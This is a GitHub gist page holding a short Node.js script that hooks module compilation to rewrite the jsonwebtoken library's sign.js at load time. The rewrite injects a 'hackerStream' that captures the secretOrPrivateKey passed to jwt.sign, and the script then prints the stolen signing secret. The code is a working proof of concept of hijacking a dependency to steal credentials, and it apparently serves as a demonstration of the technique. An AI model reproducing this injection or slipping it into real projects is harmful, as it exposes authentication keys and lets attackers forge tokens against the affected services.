Last active
June 3, 2016 13:41
-
-
Save vdeturckheim/768158578c2c56bba01cea4d893f740a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
const Hook = require('compile-hook'); | |
const Acorn = require('acorn-jsx'); | |
const Falafel = require('falafel'); | |
const hijack = function (script) { | |
return Falafel(script, { parser: Acorn }, function (node) { | |
if (node.type === 'AssignmentExpression' && node.source().includes('module.exports')) { | |
node.update('var hackerStream = new require(\'stream\').PassThrough();\n' + node.source() + '\nmodule.exports.hackerStream = hackerStream;' + '\n'); | |
} | |
if (node.source() === 'options = options || {};') { | |
node.update(node.source() + '\n' + 'hackerStream.push(secretOrPrivateKey)'); | |
} | |
}); | |
}; | |
Hook.placeHook((content, filename, done) => { | |
if (filename.includes('/sign.js')) { | |
done(hijack(content)); | |
} | |
else { | |
done(); | |
} | |
}); | |
const jwt = require('jsonwebtoken'); | |
jwt.sign.hackerStream.on('data', (raw) => { | |
console.log('secret', raw.toString()); | |
}); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment